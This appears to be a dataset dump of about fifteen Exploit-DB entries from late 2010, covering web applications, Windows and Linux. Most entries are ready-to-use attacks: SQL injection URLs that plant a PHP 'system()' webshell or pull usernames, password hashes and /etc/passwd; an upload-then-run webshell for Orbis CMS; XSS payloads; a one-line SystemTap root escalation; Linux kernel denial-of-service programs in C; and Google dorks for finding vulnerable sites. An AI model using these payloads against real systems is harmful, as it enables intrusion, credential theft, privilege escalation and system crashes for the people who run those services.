QLWD/code_shield huggingface dataset:
标题: Orbis CMS 1.0.2 - Arbitrary File Upload EDB-ID: 15636 CVE: 2010-4313 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-30 漏洞利用脚本: 'Orbis CMS' Arbitrary Script Execution Vulnerability (CVE-2010-4313)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Orbis CMS' fileman_file_upload.php script that allows any authenticated user to upload a PHP script and then run it without restriction.

 
II. TESTED VERSION
---------------------------------------
1.0.2 


III. PoC EXPLOIT
---------------------------------------
1) Login as any CMS user (administrator or non-administrator)
2) Upload your desired PHP script (e.g. cmd.php)
3) Navigate to http://www.example.com/orbis/uploads/cmd.php?cmd=cat%20/etc/passwd


IV. NOTES 
---------------------------------------
* This software is no longer developed according to the product page; it is still available for download though.
* Various other vulnerabilities exist in this code base (at least for previous versions); it's advisable not to use this software as patches are not coming.
* A vendor notice was not done for the aforementioned reasons.


V. SOLUTION
---------------------------------------
Overhaul the upload verification portion of fileman_file_upload.php completely.


VI. REFERENCES
---------------------------------------
http://www.novo-ws.com/orbis-cms/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4313
http://www.uncompiled.com/2010/11/orbis-cms-arbitrary-script-execution-vulnerability-cve-2010-4313/


VII. TIMELINE
---------------------------------------
11/30/2010: Public disclosure URL: https://www.exploit-db.com/exploits/15636
标题: DynPG 4.2.0 - Multiple Vulnerabilities EDB-ID: 15646 CVE: 2010-4401 2010-4400 2010-4399 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-30 漏洞利用脚本: Vulnerability ID: HTB22703
Reference: http://www.htbridge.ch/advisory/lfi_in_dynpg.html
Product: DynPG 
Vendor: dynpg.org ( http://www.dynpg.org/ ) 
Vulnerable Version: 4.2.0 
Vendor Notification: 16 November 2010 
Vulnerability Type: Local File Inclusion
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Local File Inclusion:
Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in CHG_DYNPG_SET_LANGUAGE variable.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://dynpg/index.php" method="post" name="main" >
<input type="hidden" name="SYSTEM_NAME" value="[admin_login]" />
<input type="hidden" name="SYSTEM_PASSWORD" value="[admin_password]" />
<input type="hidden" name="SET_LANGUAGE" value="1" />
<input type="hidden" name="CHG_DYNPG_SET_LANGUAGE" value="../../../../../" />
<input type="submit" value="submit" name="submit" />
</form>


Solution: Upgrade to the most recent version

Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "/languages.inc.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


http://[host]/languages.inc.php

Solution: Upgrade to the most recent version

SQL Injection:
Vulnerability Details:
The vulnerability exists due to failure in the "_rights.php" script to properly sanitize user-supplied input in "giveRights_UserId" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://[host]/_rights.php" method="post" name="main" >
<input type="hidden" name="saveRights" value="1" />
<input type="hidden" name="giveRights_giveright" value="1" />
<input type="hidden" name="giveRights_UserId" value="123'SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />
</form>


Solution: Upgrade to the most recent version URL: https://www.exploit-db.com/exploits/15646
标题: CA Internet Security Suite 2010 - 'KmxSbx.sys' Kernel Pool Overflow EDB-ID: 15624 CVE: 2010-4502 类型: LOCAL 平台: WINDOWS 发布日期: 2010-11-28 漏洞利用脚本: /*
# Exploit Title: CA Internet Security Suite 2010 KmxSbx.sys Kernel Pool 
Overflow 0-day Exploit
# Date: 2010-11-28
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: 
http://shop.ca.com/ca/products/internetsecurity/internetsecurity_suite.asp
# Version: up to date, KmxSbx.sys version 6.2.0.22
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/

1.Description:

The KmxSbx.sys kernel driver distributed with CA Security Suite contains 
a pool corruption vulnerability in the handling of IOCTL 0x88000080.
Exploitation of this issue allows an attacker to execute arbitrary code 
within the kernel.
An attacker would need local access to a vulnerable computer to exploit 
this vulnerability.



Affected application: CA Internet Security Suite 2010.
Affected file: KmxSbx.sys version 6.2.0.22.

2.Vulnerability details:


[..]

.text:00016330                 mov     cx, [eax]       ; eax points to 
attacker controlled data
.text:00016333                 inc     eax
.text:00016334                 inc     eax
.text:00016335                 test    cx, cx
.text:00016338                 jnz     short loc_16330
.text:0001633A                 sub     eax, edx
.text:0001633C                 sar     eax, 1
.text:0001633E                 lea     eax, [eax+eax+50h] ; size of 
UNICODE string + 0x50 bytes
.text:00016342                 movzx   edi, ax         ; integer wrap here!
.text:00016345
.text:00016345 loc_16345:                              ; CODE XREF: 
sub_162D8+53j
.text:00016345                 movzx   eax, di
.text:00016348                 push    ebx
.text:00016349                 xor     ebx, ebx
.text:0001634B                 cmp     eax, ebx
.text:0001634D                 jz      short loc_16359
.text:0001634F                 push    eax             ; NumberOfBytes
.text:00016350                 push    ebx             ; PoolType
.text:00016351                 call    ds:ExAllocatePool ; Miscalculated 
Pool!!!
.text:00016357                 mov     ebx, eax

[..]

.text:000163A6                 movzx   esi, word ptr [edx]
.text:000163A9                 mov     [eax+edx], si   ; Pool overflow here!
.text:000163AD                 inc     edx
.text:000163AE                 inc     edx
.text:000163AF                 test    si, si




3.Exploitation:


1.To exploit this vulnerability we have to allocate shellcode at some 
address, craft fake chunk header, that creates write4 primitive.
2.To invoke our shellcode we have to set such values in Flink,Blink, 
that points to some pointer in kernel space, and address of our r0 
shellcode.When unlinking happens, we overwrite pointer in kernel space, 
and force execution with kernel priviligies(cpl==0).
*3.Pool repair

Exploit code is in CAInternetSecuritySuite2010.zip file.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15624.zip (CAInternetSecuritySuite2010.zip) URL: https://www.exploit-db.com/exploits/15624
标题: MicroNetSoft RV Dealer Website - 'search.asp' / showAlllistings.asp' SQL Injection EDB-ID: 15629 CVE: 2010-4362 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-29 漏洞利用脚本: TITLE: MicroNetSoft RV Dealer Website Two SQL Injection Vulnerabilities
PRODUCT: MicroNetSoft RV Dealer Website
PRODUCT URL: http://www.micronetsoft.com/store/scripts/prodView.asp?idproduct=77
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/

SQL INJECTION BUGS:

http://[host]/[path]/search.asp?selStock=x%27%20union%20selecta
http://[host]/[path]/showAlllistings.asp?orderBy=union URL: https://www.exploit-db.com/exploits/15629
标题: Jurpopage 0.2.0 - SQL Injection EDB-ID: 15621 CVE: 2010-4360 2010-4359 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-27 漏洞利用脚本: =========================================================
Jurpopage SQL Injection
=========================================================

# Exploit Title     : Jurpopage SQL Injection
# Date              : 24 Noveber 2010
# Author            : Sudden_death (suddendeath404@yahoo.com)
# Platform/Tested on: Windows XP 2 SP 2
# myweb             : http://sudden.isgreat.org
# Version   : Jurpopage 0.2.0
# Software Link:    : http://jurpo.com/?category=100
# dork              : your imagination
======================================================================

# vuln here

SQLi : http://127.0.0.1/path/category=[sqli] 
ex : parameter : category= or etc.

[#]-------------------------------------------------------------------

Spesial thanks to all admin, all staff and all crews..... (takut ada yg ngerasa 
di anak tirikan karena ga tersebut nicknya)

[#]-------------------------------------------------------------------
note : jangan mengatakan setiap apa yang engkau ketahui tapi ketahuilah setiap 
apa yang kau katakan! URL: https://www.exploit-db.com/exploits/15621
标题: Skeletonz CMS - Persistent Cross-Site Scripting EDB-ID: 15625 CVE: 2010-4734 类型: WEBAPPS 平台: CGI 发布日期: 2010-11-28 漏洞利用脚本: # Exploit Title: Xss on skeletonz-simple dynamic cms in the section comments
# Google Dork: 
# Date: 27/11/10
# Author: Jordan Diaz aka Jbyte
# Software Link: http://orangoo.com/skeletonz/
# Version: 1.0
# Tested on: Windows xp
# CVE : 
The follow xss is located in the section of comments of the CMS skeletonz
Xss Exploit
field Name: <script>alert('xss');</script>field Comment: <script>alert('xss');</script> URL: https://www.exploit-db.com/exploits/15625
标题: SystemTap - Local Privilege Escalation EDB-ID: 15620 CVE: 2010-4170 类型: LOCAL 平台: LINUX 发布日期: 2010-11-26 漏洞利用脚本: CVE-2010-4170

printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever


RHEL Advisory:
https://rhn.redhat.com/errata/RHSA-2010-0894.html URL: https://www.exploit-db.com/exploits/15620
标题: Linux Kernel 2.6.37 - Unix Sockets Local Denial of Service EDB-ID: 15622 CVE: 2010-4249 类型: DOS 平台: LINUX 发布日期: 2010-11-27 漏洞利用脚本: /*
Simple kernel attack using socketpair. easy, 100% reproductiblle, works
under guest. no way to protect :(

Simple kernel attack using socketpair. easy, 100% reproductiblle,
works under guest. no way to protect :(

See source attached.

Process become in state 'Running' but not killalble via kill -KILL.

eat 100% CPU, eat all available internal  file descriptors  in kernel :(

-- 
Segmentation fault
*/

#include <sys/socket.h>
#include <sys/un.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];
  memset (&msgh, 0, sizeof (msgh));

  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;

  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}

int main ()
{
  int fd[2], ff[2];

  int target;
  if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
    return 1;
  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
        return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);

    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
} URL: https://www.exploit-db.com/exploits/15622
标题: Site2Nite Big Truck Broker - 'txtSiteId' SQL Injection EDB-ID: 15627 CVE: 2010-4356 类型: WEBAPPS 平台: ASP 发布日期: 2010-11-28 漏洞利用脚本: <!--
Site2Nite Big Truck Broker "txtSiteId" SQL Injection Vulnerability
PRODUCT: Site2Nite Big Truck Broker
PRODUCT URL: http://www.site2nite.com/productdetail.asp?id=14
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/
-->
<html>
<body>
<form method="post" action="http://[host]/[path]/news_default.asp">
<input type="text" name="txtSiteId" value="-1 union insect">
<input type="hidden" name="cmdSearchId" value="Go">
<input type="submit">
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/15627
标题: Microsoft Windows Vista/7 - Local Privilege Escalation (UAC Bypass) EDB-ID: 15609 CVE: 2010-4398 类型: LOCAL 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: A Design Flaw in Windows Kernel API can Lead to privilege escalation.

Mirror of Original Post: http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/

PoC: http://www.codeproject.com/KB/vista-security/uac.aspx (not available)
mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15609.zip (uacpoc.zip)

After running this PoC, just type “whoami” in command prompt to see the escalated user credentials.
Points of Interest

All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
Additional Information

This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
Windows Vista/2008 6.1.6000 x32,
Windows Vista/2008 6.1.6001 x32,
Windows 7 6.2.7600 x32,
Windows 7/2008 R2 6.2.7600 x64.

Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included. URL: https://www.exploit-db.com/exploits/15609
标题: WSN Links - SQL Injection EDB-ID: 15607 CVE: 2010-4006 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-24 漏洞利用脚本: 'WSN Links' SQL Injection Vulnerability (CVE-2010-4006)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the search.php code that allows for SQL injection of various parameters. By assembling portions of SQL code between the affected parameters, successful SQL injection into the software can occur. In the testing done, various 'UNION SELECT' SQL injections can occur. 

 
II. AFFECTED VERSIONS
---------------------------------------
< 6.0.1; < 5.1.51 ; < 5.0.81


III. TESTED VERSIONS
---------------------------------------
5.1.40 & 5.1.49


IV. PoC EXPLOITS 
---------------------------------------
1) A 'UNION SELECT' which results in a PHP shell-execution script
http://example.com/search.php?namecondition=IS%20NULL))%20UNION%20((SELECT%20"<?php%20system($_REQUEST[cmd]);%20?>"%20INTO%20OUTFILE&namesearch=/var/www/exec.php&action=filter&filled=1&whichtype=categories

2) A 'UNION SELECT' which results in a member's name, password hash, and e-mail to be extracted to a file
http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20concat(name,0x3a,password,0x3a,email)%20FROM%20wsnlinks_members%20INTO%20OUTFILE&namesearch=/var/www/pass.txt&action=filter&filled=1&whichtype=categories

3) A 'UNION SELECT' which results in the /etc/passwd file being copied to a web directory file
http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20load_file(0x2f6574632f706173737764)%20INTO%20OUTFILE&namesearch=/var/www/passwd.txt&action=filter&filled=1&whichtype=categories


V. NOTES 
---------------------------------------
* The above exploits require 'FILE' SQL privilege as well as poor web directory permissions to work. 
* Only 'namecondition' and 'namesearch' are utilized for the actual SQL injection.
* There is potential to exploit this vulnerability which outputs user data directly to the browser.
* Passing 'debug=1' as a query value easily enables debug mode of tested 'WSN Links' deployments.


VI. SOLUTION
---------------------------------------
Upgrade to the most recent version of your 'WSN Links' code branch.


VII. REFERENCES
---------------------------------------
http://www.wsnlinks.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4006
http://www.uncompiled.com/2010/10/wsn-links-sql-injection-vulnerability-cve-2010-4006/

VIII. TIMELINE
---------------------------------------
10/10/2010: Initial discloure e-mail to the vendor
10/18/2010: Follow-up via the vendor's contact web form
10/18/2010: Vendor acknowledgement/commitment to fix
10/21/2010: Patched versions released
10/31/2010: Public disclosure URL: https://www.exploit-db.com/exploits/15607
标题: Joomla! Component JE Ajax Event Calendar - SQL Injection EDB-ID: 15610 CVE: 2010-4365 2010-2513 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-25 漏洞利用脚本: # Vendor:
http://joomlaextensions.co.in/extensions/components/je-ajax-event-calender.html

# Download:
http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/12110

# Author: altbta

# Contact: l_9[at]Hotmail[Dot]com

# Home: http://xp10.com

# Thanks to: rxh  xp10.com >> v4-team.com >> p0c.cc :))

==========================================================================

[+] Dork: inurl:"index.php?option=com_jeajaxeventcalendar"

==========================================================================

[+] exploit:
http://127.168.1.1/index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4/**/from/**/jos_users--

========================================================================== URL: https://www.exploit-db.com/exploits/15610
标题: SiteEngine 7.1 - SQL Injection EDB-ID: 15612 CVE: 2010-4357 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-25 漏洞利用脚本: #################################################################################
#Title:   SiteEngine 7.1 SQL injection Vulnerability
#Date:    2010-11-25
#Author:  Beach
#Team:    www.linux520.com
#Vendor:  www.siteengine.net  www.boka.cn
#Dork:    "Powered by SiteEngine"   //300,000 +~
#Language:PHP
#Greetz:  birdarmy
#################################################################################
[*]Description:
   Exploit this vulnerability comment must be enabled (default == enable)
#################################################################################
[*]Exploit:

Enterprise Portal Version:
[1]http://server/comments.php?id=1&module=newstopic+m,boka_newstopicclass+c+where+1=2+union+select+1,2,concat(username,0x3a,password),4,5,6,...,38,39+from+boka_members%23

[2]http://server/comments.php?id=1&module=news+m,boka_newsclass+c+where+1=2+union+select+1,2,concat(username,0x3a,password),4,5,6,...,26,27+from+boka_members%23

maybe have a different number of columns , you can try it ...
==================================================================================
E-commerce Version:

[+]http://server/comments.php?id=1&module=news+m,boka_newsclass+c+where+1=2+union+select+1,2,password,4,5,6,...,37,38+from+boka_members%23
##################################################################################

Similar to other versions  =)
##################################################################################
[*]Upload backdoor:
Administrator Panel: http://server/admin/

System maintainance -> WAP Setting -> plz upload WAP logo(<= 10kb) -> OK -> 
Browse Right Now -> view properties [the URL is Ur backdoor]
################################################################################## URL: https://www.exploit-db.com/exploits/15612
标题: Free Simple Software - SQL Injection EDB-ID: 15608 CVE: 2010-4298 类型: WEBAPPS 平台: PHP 发布日期: 2010-11-24 漏洞利用脚本: 'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Free Simple Software' download module which allows for a 'UNION SELECT' to easily expose the application administrator's plaintext password.

 
II. TESTED VERSION
---------------------------------------
1.0 [Manual Install Version]


III. PoC EXPLOIT
---------------------------------------
http://site.com/index.php?page=downloads&request=download_now&downloads_id=' UNION SELECT email_address as name, NULL, NULL, password as file_name, last_name as file_url from admin_users where id!='NULL


IV. NOTES 
---------------------------------------
* User passwords for this web application are not encrypted or hashed which makes this exploit even more concerning.
* The PoC assumes that the first user is the administrative user which is the default behavior for the application.
* At least 1 download must already exist to enable this exploit.
* Due to a previous vulnerability not being fixed 3-months after disclosure (CVE-2010-3307), it's assumable that this application is not being actively developed.


V. SOLUTION
---------------------------------------
Do not utilize the download module. No patch/upgrade is available at this time.


VI. REFERENCES
---------------------------------------
http://www.freesimplesoft.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4298
https://www.uncompiled.com/2010/11/free-simple-software-sql-injection-vulnerability-cve-2010-4298/


VII. TIMELINE
---------------------------------------
11/12/2010: Initial disclosure e-mail to the vendor
11/21/2010: Public disclosure URL: https://www.exploit-db.com/exploits/15608
标题: Linux Kernel 2.6.37 - 'setup_arg_pages()' Denial of Service EDB-ID: 15619 CVE: 2010-4243 2010-3858 类型: DOS 平台: LINUX 发布日期: 2010-11-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/44301/info
/* known for over a year, fixed in grsec
   bug is due to a bad limit on the max size of the stack for 32bit apps
   on a 64bit OS.   Instead of them being limited to 1/4th of a 32bit 
   address space, they're limited to 1/4th of a 64bit address space -- oops!
   in combination with vanilla ASLR, it triggers a BUG() as the stack 
   tries to expand around the address space when shifted
   Below mmap_min_addr you say? uh oh! ;)

   Reported to Ted Tso in December 2009
   Linus today (Aug 13 2010) silently fixes tangential issue:
   http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893

   The second bug here is that the memory usage explodes within the 
   kernel from a single 128k allocation in userland
   The explosion of memory isn't accounted for by any task so it won't
   be terminated by the OOM killer

   curious what actual vuln was involved that they were trying
   to silently fix, as I don't think it's the one below
   clobbering data in a suid app by growing the stack into the mapping
   for the image? ;)  I smell privesc...mumblings of X server/recursion

   ulimit -s unlimited
   ./64bit_dos

   SELinux is here to save us though with its fine-grained controls!
   Wait, it doesn't?
   Clearly the solution is to throw a buggy KVM on top of it
   Not enough?  Ok, we'll throw in an extra SELinux, that'll really 
   throw those hackers off when they use the same exact exploit on the 
   host as they do on the guest!
   COMMON CRITERIA HERE I COME!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/personality.h>

#define NUM_ARGS 24550

int main(void)
{
        char **args;
        char *str;
        int i;

 /* not needed, just makes it easier for machines with less RAM */
 personality(PER_LINUX32_3GB);

        str = malloc(128 * 1024);
        memset(str, 'A', 128 * 1024 - 1);
        str[128 * 1024 - 1] = '\0';
        args = malloc(NUM_ARGS * sizeof(char *));
        for (i = 0; i < (NUM_ARGS - 1); i++)
                args[i] = str;
        args[i] = NULL;

        execv("/bin/sh", args);
        printf("execve failed\n");

        return 0;
} URL: https://www.exploit-db.com/exploits/15619